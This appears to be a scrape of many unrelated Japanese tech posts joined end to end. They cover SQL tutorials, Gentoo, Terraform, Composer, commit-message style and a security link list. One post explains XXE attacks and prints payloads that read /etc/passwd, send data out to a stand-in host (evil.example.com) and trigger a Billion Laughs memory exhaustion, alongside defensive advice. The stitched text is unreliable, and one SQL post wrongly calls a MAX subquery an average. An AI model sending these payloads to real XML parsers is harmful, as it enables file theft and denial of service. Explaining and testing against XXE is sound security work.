http://maruyama-mitsuhiko.cocolog-nifty.com/security/2025/06/

米国、ドイツ、フランス、英国他西側国　ロシアGRUが西側の物流事業体やテクノロジー企業を狙っていると警告 (2025.05.21)(6/2)
http://maruyama-mitsuhiko.cocolog-nifty.com/security/2025/06/

サイバ通信2025年6月号(6/1)
https://cybersecurity-jp.com/whitepaper/109961

GangExposed、Contiランサムウェア組織の首謀者を実名暴露 – 米政府懸賞金1,000万ドルの犯罪者特定(5/31)
https://innovatopia.jp/cyber-security/cyber-security-news/56106/

Ginco、立命館大学・上原哲太郎研究室との共同研究を開始(5/31)
https://www.excite.co.jp/news/article/Prtimes_2025-05-31-31033-169/

資金決済法の改正案－デジタルマネーの流通促進と規制強化(6/1)
https://gentosha-go.com/articles/-/68908?page=1

特殊詐欺、SNS型投資・ロマンス詐欺の被害状況（令和7年1月1日～4月30日時点）について(6/1)
https://www.pref.tokushima.lg.jp/ippannokata/kurashi/shohiseikatsu/7304163

【実録】「まさか、不正利用されるなんて…」クレジットカードで見知らぬ請求「756円」が！ 発覚の流れと“カード会社の対応”を赤裸々に告白します(5/31)
https://news.livedoor.com/article/detail/28865067/

アメリカの大学で急増する「AI幽霊学生」問題(6/1)
https://comemo.nikkei.com/n/n5cdae59e9c4b?magazine_key=mb7af516ae320

静岡 浜松 サイバー犯罪の実態や対策を紹介するシンポジウム(5/31)
https://www3.nhk.or.jp/lnews/shizuoka/20250531/3030028137.html

サイバー新戦略、年内に策定(5/29)
https://news.infoseek.co.jp/article/jiji_202505290085570550/

中谷防衛相がヘグセス米国防長官と会談、「防衛費増額」要求の有無は明らかにせず(5/31)
https://news.livedoor.com/article/detail/28867285/
👑プリンセスと学ぶCASE式💖

こんにちは、ごきげんよう🌷
プリンセスエンジニアのかえちゃんだよ💻👑

今回は、SQLの中でもよく使う「CASE式」っていう便利なやつを紹介するね！
データをそのまま見るだけじゃなくて、
“条件によって表示を変える”ことができるのがポイント🎀

>たとえば、プリンセスの年齢に合わせて「Young」だったり「Queen」だったり…
>そんなラベリングを自動でやってくれる感じだよ〜✨


🗣️CASE式ってなにができるの？

たとえば年齢ごとに、こんなふうに呼び分けしたいとき！

・18歳未満 → Young Princess
・18〜29歳 → Elegant Princess
・30歳以上 → Graceful Queen

これ、CASE式で書くとこうなるよ👇

```sql
SELECT name, age,
  CASE
    WHEN age < 18 THEN 'Young Princess'
    WHEN age < 30 THEN 'Elegant Princess'
    ELSE 'Graceful Queen'
  END AS title
FROM princesses;
```

👇実行後
| name | age | title            |
| ---- | --- | ---------------- |
| Luna | 16  | Young Princess   |
| Lily | 25  | Elegant Princess |
| Mira | 35  | Graceful Queen   |

こんなふうに、それぞれのプリンセスにぴったりの称号がついたわねえ👑


#### CASE式文字でも使えるよ🌸

数値だけじゃなくて、たとえば「王国の名前」に応じてメッセージ変えるとかもできるよ！

```sql
SELECT name, kingdom,
  CASE kingdom
    WHEN 'Rose' THEN '花のように優雅な姫'
    WHEN 'Moon' THEN '静かなる月の姫'
    ELSE '未知の王国の旅人'
  END AS message
FROM princesses;
```

| name | kingdom |
| ---- | ------- |
| Luna | Rose    |
| Lily | Moon    |
| Mira | Sun     |
| Elly | Rose    |
| Aria | Star    |

→このテーブルに対して、以下のCASE式入りのクエリを実行すると

| name | kingdom | message   |
| ---- | ------- | --------- |
| Luna | Rose    | 花のように優雅な姫 |
| Lily | Moon    | 静かなる月の姫   |
| Mira | Sun     | 未知の王国の旅人  |
| Elly | Rose    | 花のように優雅な姫 |
| Aria | Star    | 未知の王国の旅人  |

kingdom の値に応じて、それぞれに対応した message が追加されるの💖


#### 🧁 基本の使い方（WHEN〜THEN）
・CASE に WHEN 条件 THEN 値 をいくつか並べてどれかひとつに当てはまったときの値を返してくれる

・ELSE をつけると、どの条件にも当てはまらなかったときの保険になる

・条件は上から順番にチェックされて、最初に合ったものが採用されるよ！！

#### 🌸 応用ポイント（値に応じて分ける／文字でもOK）

・CASE カラム名 というシンプルな書き方もある

・数値だけじゃなく、文字列にも使える（たとえば kingdom名とか）

・表示をやわらかくしたり、人が読んでわかりやすい形に加工したいときに最強！

### おわりに🌷

CASE式って、むずかしそうに見えるけど、
やってることは「この子は○○だからこう表示しよ〜」っていうちょっとした気づかいなんだよね💭

ちょっとしたラベルづけや分類に使えるだけじゃなくて、
人が見てわかりやすい表現に整えたり、柔らかいニュアンスを加えたりできるのがCASE式のいいところ！

次回は、集計のその先にある「ウィンドウ関数」について、
また一緒にやっていく予定です🕊️

ではでは、またお会いしましょうね👑
らくらく Gentoo Linux インストール

# 今北産業
- [gentoo-install](https://github.com/oddlama/gentoo-install) を使って、Gentoo Linux をインストールする

# この記事を書いた動機
- Gentoo Linux を使いたいけど、インストールするのに苦労しているひとに是非とも知ってもらいたいツールを紹介する
- さびれている Gentoo Linux 界隈にもっとひとが来てほしい

# 要求されるスキル
- それなりの Geotoo Linux をチャレンジした経験
- Arch Linux で X64 のマシンに OS をインストールした体験
- GRUB や Dracut とかの知識は不要（このツールが代行してくれるので）

# 便利なサイト
- Gentoo Wiki ... いわずもがな
- 各種の Arch Linux の記事 ... ユーザーの作成とか、systemd の設定とかは Gentoo とほとんど同じ 
- RedHat のテキスト ... LVM とか LUKS を勉強したいときにはここを参照すべし
- [Gentoo 基本操作](https://zenn.dev/oto/articles/107a316362eb0f) ... 困ったら、このページを逆引きとして利用すべし

# 必要なもの
- Arch Linux の Live メディア（これは、冗談でなくて）を作って、マシンをブートする
- pacman あたりを操作して、Git を使えるようにして `./configure` と `./install` を操作する（公式の記事を読んでね）
- TUI が開くので、適宜 設定する（公式の記事を読んでね）
- インストールが終わったら、Arch Linux をインストールするのと同じ感じで `useradd` なり `visudo` をしてください 

# 注意事項
- インストールするには `Gentoo` でも `Ubuntu` でもなく `Arch Linux` の Live メディアである必要があるようです
- 速度重視の場合は `-march=native -O2 -pipe` なんかも、途中でやる必要があります

# おわりに
この記事は、上記の [gentoo-install](https://github.com/oddlama/gentoo-install) を利用してインストールされた Gentoo Linux から書き込まれている。開発者に感謝したい。
👑 サブクエリの使い方をプリンセスと学ぼう💖

こんにちは、ごきげんよう🌷プリンセスエンジニアのかえちゃんです💻👑

今回は、前回のSELECT文やWHERE句の魔法をレベルアップして、
**“サブクエリ”**という深層魔法を学んでいきます🪄

「条件を指定したいけど、比べる対象が固定じゃない…」そんなときにサブクエリの魔法が大活躍するよ！！


### 🧁 基本のサブクエリ魔法

まずはとってもよく使うサブクエリの基本形からご紹介💎

#### 🌸 例：平均年齢より上のプリンセスだけ知りたいとき！

```sql
SELECT name
FROM princesses
WHERE age > (
  SELECT AVG(age) FROM princesses
);
```

📌 SELECT AVG(age) というサブクエリが、メインのクエリの中で先に1回だけ実行されます。
このサブクエリは「princesses テーブル全体の平均年齢」を計算して、
その1つの数値（例：25.6）を返すという役割を持っています。

📌 その結果を受けて、メインの WHERE age > ... が動きます。
つまり、「age > 25.6 を満たす人だけを選んでね」という命令になるのです💖

| name | age |
| ---- | --- |
| Luna | 17  |
| Lily | 25  |
| Mira | 35  |

→ 平均年齢が25.6なら、Mira（35歳）だけが表示されるよ✨


#### 🧁 ちょっと複雑なサブクエリ魔法（関連サブクエリ）

たとえば、「各プリンセスが属する王国の中で、最年長の子だけ知りたい」ってときは…
サブクエリ×相関（関連）の合わせ技が登場💫

```sql
SELECT name, kingdom, age
FROM princesses p1
WHERE age = (
  SELECT MAX(age)
  FROM princesses p2
  WHERE p1.kingdom = p2.kingdom
);
```

ポイント👇

###### 外側（メイン）の p1 と内側（サブクエリ）の p2 が王国でつながってるところ！

| name | kingdom | age |
| ---- | ------- | --- |
| Luna | Rose    | 20  |
| Lily | Rose    | 19  |
| Mira | Moon    | 35  |
| Elly | Moon    | 30  |

→ 結果：

| name | kingdom | age |
| ---- | ------- | --- |
| Luna | Rose    | 20  |
| Mira | Moon    | 35  |

###### WHERE p1.kingdom = p2.kingdom
👆これを指定するだけで、各王国での平均値を出してくれるの！



### 📝 サブクエリまとめ🌷
サブクエリは、一言で言うと
**「クエリの中に小さなクエリを仕込む魔法」**です✨

###### 基本形では、平均値や最大値などを使って「比べる基準」を動的に作れる🪄

###### 相関サブクエリでは、外のデータと中のデータをつなげて、より柔軟な条件指定ができる🧩

一見むずかしそうに見えるけれど、
「その場で計算した値を使って、より賢くデータを絞りたい！」ってときには欠かせない魔法なのです👑

少しずつでいいから、実際のテーブルで試しながら
サブクエリの魔力に慣れていきましょうね💖


##### 🎀 次回の魔法予告：CASE式🎭

次回は、CASE式という「条件によって表示内容を変える魔法」についてご紹介します✨
たとえば、プリンセスの年齢によって「Young」「Elegant」「Queen」と称号を自動でつける魔法もできちゃうんです！

お楽しみに💖
ではまた、次の魔法でお会いしましょうね🪞👋
XXE攻撃

## XXE攻撃とは
- XMLパーサーが外部エンティティを展開できる状態で悪意あるXMLを受け付けると、サーバー内部のファイルや外部リソースを読み込んでしまう攻撃。
- 「外部エンティティ」＝XML中で定義できるファイルやURLへの参照。
通常は便利機能だが、悪用されると機密情報漏洩やサービス妨害につながる  
- 攻撃の流れイメージ  
  1. 攻撃者が細工したXMLを送信  
  2. パーサーが外部エンティティを解釈し、ローカルファイルや外部URLへのアクセスを実行  
  3. 結果がレスポンスやログを通じて攻撃者に漏れる  

## XXE攻撃の種類
1. **In-band XXE（直接参照型）**  
   - XML内で定義した外部エンティティをファイル参照（例：`file:///etc/passwd`）で読み込み、その内容をレスポンスに含めて返す手法  
   - 例：
     ```xml
     <?xml version="1.0" encoding="UTF-8"?>
     <!DOCTYPE foo [
       <!ELEMENT foo ANY >
       <!ENTITY xxe SYSTEM "file:///etc/passwd" >
     ]>
     <foo>&xxe;</foo>
     ```
   - パーサーが`&xxe;`を展開すると`/etc/passwd`の中身がレスポンスに埋め込まれる  

2. **Out-of-band XXE（間接参照型）**  
   - 内部ファイルの内容を直接返さず、攻撃者が管理する外部サーバーへリクエストを飛ばすことで攻撃の成功を検知する手法  
   - 例：
     ```xml
     <!DOCTYPE foo [
       <!ELEMENT foo ANY >
       <!ENTITY xxe SYSTEM "http://evil.example.com/collect?data=">
     ]>
     <foo>&xxe;</foo>
     ```
   - サーバーが外部URLへアクセスすれば、攻撃者側のログで発生を確認できる  

3. **Blind XXE**  
   - レスポンスにファイル内容が含まれない場合でも、エラー応答やレスポンスタイミングを監視して内部情報を推測する手法  
   - 例：存在しないファイルを指定してエラーが返るかどうかでファイルの有無やサーバー構成を推測  

4. **DTD爆発型（DoSを狙う：Billion Laughs攻撃など）**  
   - 巨大なDTDを定義し、膨大な文字列を生成させてサーバーのメモリやCPUを枯渇させる攻撃  
   - 例：
     ```xml
     <?xml version="1.0"?>
     <!DOCTYPE lolz [
       <!ENTITY lol "lol">
       <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
       <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
       …
       <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
     ]>
     <lolz>&lol9;</lolz>
     ```
   - パース時に膨大な文字列を展開し、サーバーリソースを枯渇させる  

## XXE攻撃の対策
1. **外部エンティティの無効化**  
   - Java（SAX/DOM/StAX）やC#、Pythonなど主要言語のXMLパーサーで、外部エンティティやDTDを読み込まない設定を行う  

2. **DTDの利用禁止**  
   - 受け付けるXML文字列に`<!DOCTYPE`が含まれていないかチェックし、あれば拒否する  
   - 単純な文字列チェックだけでなく、パーサーの機能でDTD自体を無視する設定を優先する  

3. **JSONなど別フォーマットの検討**  
   - 可能であればXMLではなくJSONなど軽量フォーマットを利用し、XXE攻撃自体を回避する  

4. **入力値検証と制限**  
   - XML本文のサイズやネストの深さを制限し、異常に大きなDTDや深いネストを検知して拒否する  
   - Webアプリケーションファイアウォール（WAF）で`<!ENTITY`や`<!DOCTYPE`を検知してブロックする  

5. **テストケースの整備**  
   - In-band／Out-of-band／DoS系のサンプルXMLをテストで送信し、サーバーがエラーになることを確認  
   - ログに「外部エンティティを無効化した」という情報を出しておくと、設定漏れを後から見つけやすい  


XML読み込みは脆弱性やパーサー設定の負担が大きいため、可能ならCSV（またはJSON）に置き換えるのが望ましい。
CSVはシンプルだがフラット構造限定、JSONはネスト可で比較的安全。
要件に応じて適切なフォーマットを選択する。

どうしてもXMLを使う場合は、外部エンティティやDTDを確実に無効化し、XXE対策を徹底しましょう。
【Unity6】Webビルドしたら"TypeError:Module.dynCall_～～"でハマった

## 個人メモ
自分の場合はBestHTTPのPlugins\WebGLの中にある.jslibファイルの中にdynCall\～～してるコードがあった。

## 場当たり的な解決策
Unity5系（2022とか2023とか）でWebGLビルド。

## BestHTTP3だったらもしかすると
今回のことに限って言えば、BestHTTP3のソケット通信アセットだったら、Unity6でもイケるかも？
2持ってるからいいやーってしてたけど、新バージョンに対応するありがたみはこういうところに出る
elkよりもduktapeの方が便利でした

## あらすじ

https://qiita.com/TNTSuperMan/items/96e1f510ff619ba1ef27

こちらで[MikanOS](https://github.com/uchan-nos/mikanos)のフォーク[TNTOS](https://github.com/TNTSuperMan/TNTOS)で使ったJavaScriptエンジンを紹介しましたが、
その色々試した結果、[Duktape](https://duktape.org/)の方が、機能が多く、簡単に導入でき、
[TNTOS](https://github.com/TNTSuperMan/TNTOS)でも使えたためこちらを紹介します。

## Duktapeとは

https://duktape.org/

埋め込みやすいJavaScriptエンジンで、C言語で出来てます。

## elkと比較したメリット
#### 1. ES5準拠
[ES5.1](http://www.ecma-international.org/ecma-262/5.1/)に準拠していて、さらにES6以降の一部も実装されています。
[elk](https://github.com/cesanta/elk)ではまっさらで何も無かったのが、[Duktape](https://duktape.org/)では`Date`も! `Array`も! `Number`も! 標準ライブラリがあります!!!!!!!!
そして文字列の長さもバイト数ではなくUnicodeコードポイント数です!!!

(これ強すぎる...)
(というか[elk](https://github.com/cesanta/elk)が弱すぎる...)

#### 3. 型情報がある
[Duktape](https://duktape.org/)には`Duktape`というグローバル変数があったりしますが、
それに関する型がもちろん用意されています!!!!!

https://github.com/kimushu/duktape-types/blob/master/index.d.ts

[elk](https://github.com/cesanta/elk)はまっさらでtsconfigに`noLib: true`とか`lib: []`と書いてもエラーになって大変だったのでありがたい!!!!!(それは標準ライブラリの問題じゃん)

#### 4. モジュールシステムが使える
モジュールシステムといってもCommonJSであり、モジュールローダーの実装等が必要ですが、CommonJSモジュールシステムが使えます!!!!

これでNodeJSライクAPIを実装できるね！

#### 5. MITライセンス
見慣れたMITライセンスで、扱いやすいです。
一方[elk](https://github.com/cesanta/elk)はAGPLなのでソースコード公開したりライセンスを同じにする必要があって大変です。

## elkと比較したデメリット
デメリットもあります。

#### 1. メモリの融通が利きづらい
[Duktape](https://duktape.org/)はmalloc等でメモリを管理していて、組み込み環境では扱いづらいかもしれません。
そして、64KBのRAMで動作すると言っており、elkと比較すると大きいです。
一方[elk](https://github.com/cesanta/elk)はmallocを使わず、用意したバッファのみ使う構造で、
しかも100バイトのRAMで動作します。

> Does not use malloc. Operates with a given memory buffer only

と主張しているぐらいです。

#### 2. 使う標準ライブラリが多め
[Duktape](https://duktape.org/)は[elk](https://github.com/cesanta/elk)よりも使う標準ライブラリが多いです。
そのため、一部の環境では[Duktape](https://duktape.org/)はコンパイルできないかもしれません。

[QuickJS](https://bellard.org/quickjs/)も同じように、[TNTOS](https://github.com/TNTSuperMan/TNTOS)の環境では
標準ライブラリが不足していてコンパイルできませんでした。

#### 3. 値を作るときにスタックを使う必要がある
[Duktape](https://duktape.org/)は[Lua](https://lua.org/)と同じように、スタックを使って値を作る必要があります。
これがまあまあ大変で、TNTSuperManも過去にLua開発でスタック地獄に苦しめられていました。

一方[elk](https://github.com/cesanta/elk)は、変数ベースのAPIで、スタックに苦しめられることは無く、直感的に理解できます。

## elkとの共通点
#### 1. 導入が楽
tar.xzをダウンロードすれば、`src-noline`ディレクトリの中に
C言語ソースファイル一つとヘッダーだけの状態であるので、
[elk](https://github.com/cesanta/elk)のように楽々導入できます

#### 2. 標準ライブラリが少ない状態でも使える
[QuickJS](https://bellard.org/quickjs/)は`fenv.h`のライブラリが無くて使えませんでしたが、
[elk](https://github.com/cesanta/elk)と同じく、[Duktape](https://duktape.org/)はそのようなライブラリが不要で使えました。

しかし一部環境では使えないこともあるのでご了承ください。

## 終わりに
これは選択肢の一つで、他の手段も沢山あります。

制限が厳しい所では[elk](https://github.com/cesanta/elk)が良かったり、
標準ライブラリが豊富な所では[QuickJS](https://bellard.org/quickjs/)が良かったり、
Apple製品以外使えない生粋のApple信者には[JavaScriptCore](https://github.com/WebKit/WebKit/tree/main/Source/JavaScriptCore)が良かったりします。

そもそも、JavaScriptにこだわらず、[Lua](https://lua.org/)にするのもいいかもしれません。

そのため、この記事は大量にある
言語プロセッサの中の一つとして捉えてもらえばなと。
最後までお読みいただきありがとうございました。
TerraformでEC2をデプロイしてみた(本当にEC2だけ)

すごく簡単に試すレベルですが、terraformでEC2をデプロイしてみました。

Terraformを利用するにあたり、設定しなければならないものが存在します。

環境としてはM3 Macを使用します。CloudサービスはAWSです。

* Homebrewのインストール(ここはインストール済みの前提とします)
* AWSアカウント(ここは今回作成済みの前提とします)
* AWS Identity Centerの設定とSSOによるコンソールログイン(ここは今回設定済みの前提とします)
* AWS CLIによるSSOログイン(ここは今回設定済みの前提とします)
* terraformのインストール(ここを記載していく)

EC2にデプロイしてみただけなので前段階の部分はがっつり端折ります。

## Terraformのバージョンマネージャーの導入

まずは、TerraformのバージョンマネージャーであるtenvをHomebrewを使用してインストールしていく

共同署名チェック(共同署名チェックを有効にする必要がある場合)を有効にする必要がある場合はcosignをインストールする

[tenvリポジトリ](https://github.com/tofuutils/tenv#:~:text=%E3%81%AF%E3%81%98%E3%82%81%E3%82%8B,-%E5%89%8D%E6%8F%90%E6%9D%A1%E4%BB%B6)

```bash
brew install  cosign
```

```bash
brew install tenv
```

これでtenvのインストールは完了です。

### バージョン指定

設定できるバージョンの一覧を取得します。
enterを押すと選択できるようになるので、terraformを選択してください。(下記参照)

```bash
tenv


  Which tool do you want to manage ? # terraformを選択するとダウンロード可能なバージョン一覧が見れる

[ ] tofu
[ ] terraform
[ ] terragrunt
[ ] terramate
[ ] atmos

# terraformを選択すると下記のように表示される
  Which Terraform version(s) do you want to install(I) or uninstall(U) ? (X mark already installed)

[ ] 1.13.0-alpha20250521
[ ] 1.12.1
[ ] 1.12.0
[ ] 1.12.0-rc2
[ ] 1.12.0-rc1
[ ] 1.12.0-beta3
[ ] 1.12.0-beta2
[ ] 1.12.0-beta1
```

なお、インストール済みのものは[X]となっているはずである

好きなバージョンを選択するとインストールされる

もしくはlatestをインストールしたい場合は

```bash
tenv tf install
```

でlatestがインストールされる。installの後にバージョンを指定すれば指定されたバージョンもインストール可能である。

インストール済み一覧を見たい場合は

```bash
tenv tf list

  1.12.1 (never used)
```

で一覧が表示される。

### tenvでterraformのバージョン決定する

基本的には下記の優先順位で使用バージョンが決定される

* TFENV_TERRAFORM_VERSION 環境変数に設定されたバージョン
* .terraform_versionファイルの中に記載されたバージョン(コマンド実行ディレクトリから上へ探索し、最初に見つかったファイルのバージョン)
* コマンドで指定したデフォルトバージョン

コマンドは下記

```bash
tenv tf use デフォルトにしたいバージョン
```

## Terraformの初期化とデプロイ

初めて使用する場合は初期化を行わなければならない。

VPCとサブネットは作成しておいてください。

1. tfファイルを作成
2. initコマンドで初期化
3. planコマンドで実行計画を確認
4. applyコマンドでリソースをデプロイ

上記の順番で作業を進めていく

### 1.tfファイル作成(プロジェクトを作成)

まず適当にディレクトリを作成し、main.tfを作成する(下記はEC2を作成例)

```tf
provider "aws" {
  region  = "ap-northeast-1"
  profile = "admin" # SSOでログインしたプロファイル名
}

resource "aws_instance" "hello-world" {
  ami = "ami-0c1638aa346a43fe8"
  instance_type = "t2.micro"

  subnet_id = "subnet-0d6271c9f83a42751"
}
```

### ２.initを行う

先ほど作成したディレクトリ階層で初期化を実施

```bash
terraform init
```

すると.terraformディレクトリと.terraform-provider-aws_v~のようなバージョンファイルが作成されたはずである。

これで初期化はOK(初期化は初めてterraformで作業をする場合は一度だけ行う)

SSOログインをしていない場合はAWS CLIからログイン実行

```bash
aws sso login --profile your-sso-profile
```

一応、現在の有効ユーザーを確認

```bash
aws sts get-caller-identity
```

使用したいユーザーと違う場合は明示的に指定してあげる

```bash
aws sts get-caller-identity --profile my-sso-admin
```

※providerの設定部分でprofileを使用しているため、基本的にはそこのユーザーが使用されるので恐らくは問題ない



### 3.planを確認する

initが終わったので、planを確認していく

```bash
terraform plan
```

実行計画が表示される

### 4.applyで実行する

applyコマンドで実行をしていく

途中で変更を反映していいかを聞いてくるため、yesを入力

```bash
terraform apply
```

問題なく完了すればAWSのマネジメントコンソールからEC2が構築されているのが確認できる


ここまででterraformの初期設定と開発できる環境は整った

### 最後にお掃除をしておく

destoryコマンドを叩く

こちらも途中で削除していいか聞かれるためyesと入力

```bash
terraform destroy
```

AWSマネジメントコンソールから確認するとEC2が終了済みになっていることが確認できる

また今回作成したVPCとサブネットも削除しておいてください(VPCは課金され続けますので忘れずに！)


以上となります。
composer installするときにメモリ関連のいろいろで詰まりまくった話

タイトルの通り。古い環境を少し弄ろうとしたら、いろんなポイントで詰まったのでメモ。
備忘程度に書き留めるだけなので読みやすさは（お察し）でお願いします。

## composer installを叩くと毎回killedになる

とりあえず、以下みたいなエラーならすぐ対処法が分かるんだけども。

`PHP Fatal error: Allowed memory size of 1610612736 bytes exhausted`

これを受けてCOMPOSER_MEMORY_LIMIT=-1を冒頭に付けながらcomposer installしても、次は「killed」と出てインストールが終わらない。なんならすごく目立たない形で出力されるうえ、エラーメッセージもほぼ無いからすごい分かりづらい。

ということで、`free -h`を叩いてみると、swapが無かったことが分かったので、以下とかを参考にしてスワップ作成。

https://zenn.dev/shuh/articles/swap-memory-linux

## proc_open(): fork failed - Cannot allocate memory が永遠に出る

スワップを作成したところ、途中までcomposer installが動くようになったが、途中で以下のようなエラーを吐く。

```
The following exception is caused by a lack of memory or swap, or not having swap configured
Check https://getcomposer.org/doc/articles/troubleshooting.md#proc-open-fork-failed-errors for details

                                                     
  [ErrorException]                                   
  proc_open(): fork failed - Cannot allocate memory
```

公式ドキュメントを見たり同様の文面でググっても、「スワップファイル作れ」みたいな解決策しか出てこない。いやだから作ったんだってば。

と、10分くらい悩んで、「もしかしてスワップの容量足りてないのでは」と思い立つ。
`df -h`でディスク容量を見たところ100GBくらいは空きがあったので、16GBくらいスワップを作ってみる。（スワップサイズには一定ベストプラクティスがありますが、今回はいったん適当に作成）

すると動いた。無事解決。
コミットメッセージはメモやコメントではないし、おまえのツイッターでもない

gitのコミットメッセージはその名の通り「メッセージ」であって、「メモ」や「コメント」ではない。まかり間違ったって、あなたの日記帳でも、ツイッターでもない。冗談みたいな話だが、大真面目である。

## 概論

ウィクショナリー日本語版の[「メッセージ」の項](https://w.wiki/EMYS)にはこうある。

> 1. 伝言、言付、挨拶、口上。

コミットメッセージの場合、「挨拶」ではないことは確かだろう。コミットメッセージに「こんにちは！」とか書く人がいたら、(礼儀正しいのは結構なことだが)ちょっとびっくりだ。

他の3つについても見てみよう。

- [伝言](https://w.wiki/EMYb)
  > 1. 言いたいことを、他人に頼んだり、メモや録音システムなどに残したりして、相手に伝えること。その内容。
- [ことづけ](https://w.wiki/EMYd)
  > 1. 伝言。
- [口上](https://w.wiki/EMYg)
  > 1. 口頭で述べたり、伝えたりすること。また、そのような内容。

どの項目をみても、「伝える」という点は共通している。つまり、「メッセージ」という言葉の本質は「伝える」という点である。
コミットメッセージとは、読んだ人に**コミットの内容を**自然言語で**伝える**ためのものなのだ。

## 実例

### 「メモ」

```text
feat: 文字数カウントがうまく動かないので、明日直す
```

```text
wip
```

```text
バージョン4.0.0新規実装機能
```

これは比較的よくあるパターンだ。コミットの内容を全く書いていない。これらはコミット内容の補足情報であり、「書いてもよい」ものではあるのだが、肝心の「書かなければならない」内容が抜けている。

3人目の人はちょっと特殊で、コミットがデカすぎるせいで内容を書けていない。こういうパターンでは、「どうやっても適切なコミットメッセージを書けない」という事実から、「もしかして、コミットがデカすぎるのではないか？」という気づきを得ることができる。
このような場合は、そもそもコミットの粒度から見直そう。

ところで、1人目の人は「コミットメッセージにプレフィクスをつける」というしぐさを実践したようだ。

https://qiita.com/numanomanu/items/45dd285b286a1f7280ed

それ自体は良い心がけなのだが、それだけやればよいというわけではない。バットの振り方を知らない奴がいきなり大谷翔平のバッティングフォームだけ真似してもホームランは打てないのだ。

このように書き直そう。

```text
feat: ハンドルバリデーション用のUserHandleValidatorを作成

このコミットでは、文字数カウントが正常に動作していない。
```

```text
カラーパレットにErrorColorの定義を追加

バリデーションエラーの表示に使用する。
このコミットでは、バリデーション処理は実装されていない。
```

補足情報がある場合、ひとつ空行を挟んでコミットメッセージの3行目以降に書く。もし書きたい補足情報がたくさんあるようなら、どれだけ長文になったっていい。

作業の都合上wipコミットをする必要がある場合、プッシュする前にリベースしてコミットを適切にやりなおすのも手だ。

https://qiita.com/kyoheisakai/items/74dbb710a4ccb77281f6

ただし、多くの場合ではwipコミットをするまでもなく、スタッシュで事足りる。

https://qiita.com/chihiro/items/f373873d5c2dfbd03250

### 「コメント」

```text
レビュー指摘点の修正
```

```text
バグissue #873 の対応
```

パッと見では変更の内容を書いているようにも見えるが、適切なコミットメッセージではない。これらは、「変更の内容」ではなく、「この変更をおこなうに至った動機」を説明している。

動機がどうあれ、コミットメッセージには「変更の内容」を必ず書く。なぜなら、コミットメッセージは特定のレビュアではなく、そのリポジトリを見ている不特定多数に向けたものであるからだ。
リポジトリのコミット履歴から特定の変更に関連するコミットを探している閲覧者にとっては、指摘点どうのこうのと言われてもなんの手がかりにもならない。

コミットメッセージはこのように書き直そう。

```text
messageがmassageとなっているtypoを修正
```

```text
投稿の上限文字数が140となっていたのを300に修正 #873
```

そして、さっき書いていた内容はプルリクエストに**コメント**する。空き缶はくずかごに、コメントはプルリクエストに。

```markdown
(レビューコメントへの返信)指摘いただいた点を修正しました。
```

```markdown
# 投稿の上限文字数が誤っていたバグを修正

投稿時の文字数の上限は300が正しいですが、140となっていた問題を修正しました。 close #873
……
```

### 「日記帳」「ツイッター」

```text
3日かかったw
```

```text
この前学校で習った書き方を使ってみた
```

```text
たこ焼きうますぎ
```

```text
＼(^o^)／
```

```text
うわあああああああああああああああああああああ
```

```text
[任意の暴言]
```

本当に意味がわからないが、実在する。実際は英語で書かれていたり顔文字が`(TдT)`だったりたこ焼きじゃなくお好み焼きだったりするのだが、こんなもので一体何を伝えようというのだろうか。メモやコメントですらないし、ましてやコミットでもメッセージでもない。[神聖ローマ帝国もびっくりのとんでもコミットメッセージである](https://youtu.be/wlQrQVzdoVA?t=816)。

## まとめ

何度でも言うが、コミットメッセージの基本は「コミットの内容を、不特定多数の閲覧者に対して自然言語で伝える」ことである。これを満たさないものはコミットメッセージではないと言ったって過言ではない。

特に、「日記帳」「ツイッター」パターン。これらについては、コミットメッセージで悪ふざけを楽しむという驚くべきおこないであり、はっきり言って全く**面白い**。いや面白いのだが、非常に場違いであるし、目的を持って見に来た人にとっては全く笑えないし、迷惑にすらなりうる。やめよう。

当然、閲覧者が限られるプライベートリポジトリなどでは、あるいは非常に細かい誤字修正などでは、プロジェクト内などの慣習で誤字修正程度なら`typo`などでもよい文化圏はあるだろう。そのような場合についてはなんの問題もないのだが、不特定多数が閲覧するようなOSSなどにコントリビュートする際は必ず意識すべき原則だと考えている。
StringHttpMessageConverterのレスポンス書き込みのwriteメソッドでBodyがnullだと例外スローする



### 📝 `write()` メソッドの場合（レスポンス書き込み）

```java
@Override
protected void writeInternal(String str, HttpOutputMessage outputMessage)
        throws IOException {
    Charset charset = getContentTypeCharset(outputMessage.getHeaders().getContentType());
    OutputStream out = outputMessage.getBody();
    StreamUtils.copy(str, charset, out);
}
```

* `str` が `null` の場合 → `StreamUtils.copy(str, ...)` で **`NullPointerException` が発生**します。
* このため、`write()` の前に呼び出し側が `null` チェックしていないと、**実行時に NPE（NullPointerException）** が発生します。

---

### ✅ 対策

* `@ResponseBody` や `HttpEntity<String>` を返すような処理で `null` を返す可能性がある場合は、**明示的に空文字列 `""` を返す**ようにするのが安全です。
* カスタムの `HttpMessageConverter` を定義して `null` を許容することも可能ですが、一般的には避けた方が無難です。
Copilotでぬいぐるみを使う魔法少女を描いてみた。

# 概要

Copilotでぬいぐるみを使う魔法少女を描いてみました。

# 実装

プロンプトと実行結果は以下の通りでした。

```
光のぬいぐるみを使う魔法少女を描いてください。
```

![光のぬいぐるみを使う魔法少女_20250603.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3192024/c416c36d-1ebc-47eb-bab3-18679b3e76dc.png)

# まとめ

可愛い。何かの役に立てばと。
AYAのインフラエンジニア   ネットワークエンジニア

## はじめに
インフラエンジニアを始めて1年半年のAYAと申します。
このQiitaアカウントでは今まで私がインフラエンジニアとして学んできたこと、資格試験の話、今勉強中のAWSに関しての内容を投稿しようと思います。
この投稿で少しでも「インフラエンジニアって何？」という問いに対して、大まかでもイメージを持っていただければ嬉しいです。

## ネットワークエンジニアって何？
はじめましての方は、改めましてこんにちは。
そして、前回のブログを読んでくださった方はお久しぶりです。
さて、今回のテーマはインフラエンジニアの一つ「**ネットワークエンジニア**」についてです。
「ネットワークエンジニア」と聞いて、皆さんはどんな仕事をしている人を思い浮かべますか？
名前の通り、ネットワークを作る人だと思った方も多いかもしれません。

確かにその通りなのですが、実際にはもう少し奥が深い仕事です。
この記事では、「**ネットワークとはそもそも何なのか？**」という部分も含めて、説明していきます。

## 現代社会におけるネットワーク
